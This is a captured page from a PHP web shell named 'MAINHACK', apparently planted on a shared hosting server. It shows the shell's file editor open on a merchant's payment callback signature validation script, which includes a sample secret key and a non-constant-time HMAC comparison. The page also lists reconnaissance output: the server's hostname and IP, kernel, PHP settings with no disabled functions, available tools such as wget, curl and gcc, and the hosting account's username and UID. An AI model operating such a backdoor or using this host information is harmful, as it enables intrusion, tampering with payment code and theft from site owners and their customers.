[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: callbackUrl_Signature_Validation.php
<?php /* You can verify the request using the method below */ $secretKey = "merchant_secret_key"; $conversationData = "conversationData_from_callbackUrl"; $conversationId = "conversationId_from_callbackUrl"; $mdStatus = "mdStatus_from_callbackUrl"; $paymentId = "paymentId_from_callbackUrl"; $status = "status_from_callbackUrl"; $dataToSign = $conversationData.":".$conversationId.":".$mdStatus.":".$paymentId.":".$status ; $hmac256Signature = bin2hex(hash_hmac('sha256', $dataToSign, $secretKey, true)); $signature = "signature_from_callbackUrl_payload"; if ($hmac256Signature == $signature) { echo "HMAC-SHA256 Signature Verified: " . $hmac256Signature . "\n"; echo "Enjoy your code..."; } else { echo "Signature verification failed.\n"; } /* * Sample Signature Calculation * * Payload: status=success&paymentId=22484292&conversationData=&conversationId=&mdStatus * =1&signature=a4f73b80bb32a6ef8358090bbd8609a49a7b53f463048f8ef147496e236d04f0 * * $secretKey = "jLc7GQHD2pyJoqXDeEcTnGHYtP7Ai5jl"; * $conversationData = ""; * $conversationId = ""; * $mdStatus = "1"; * $paymentId = "22484292"; * $status = "success"; * * $signature = "a4f73b80bb32a6ef8358090bbd8609a49a7b53f463048f8ef147496e236d04f0"; * * $dataToSign = "::1:22484292:success"; * * After hashing string with secretKey * $hmac256Signature = "a4f73b80bb32a6ef8358090bbd8609a49a7b53f463048f8ef147496e236d04f0"; * * $hmac256Signature is equal to $signature so the request validated. */ ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285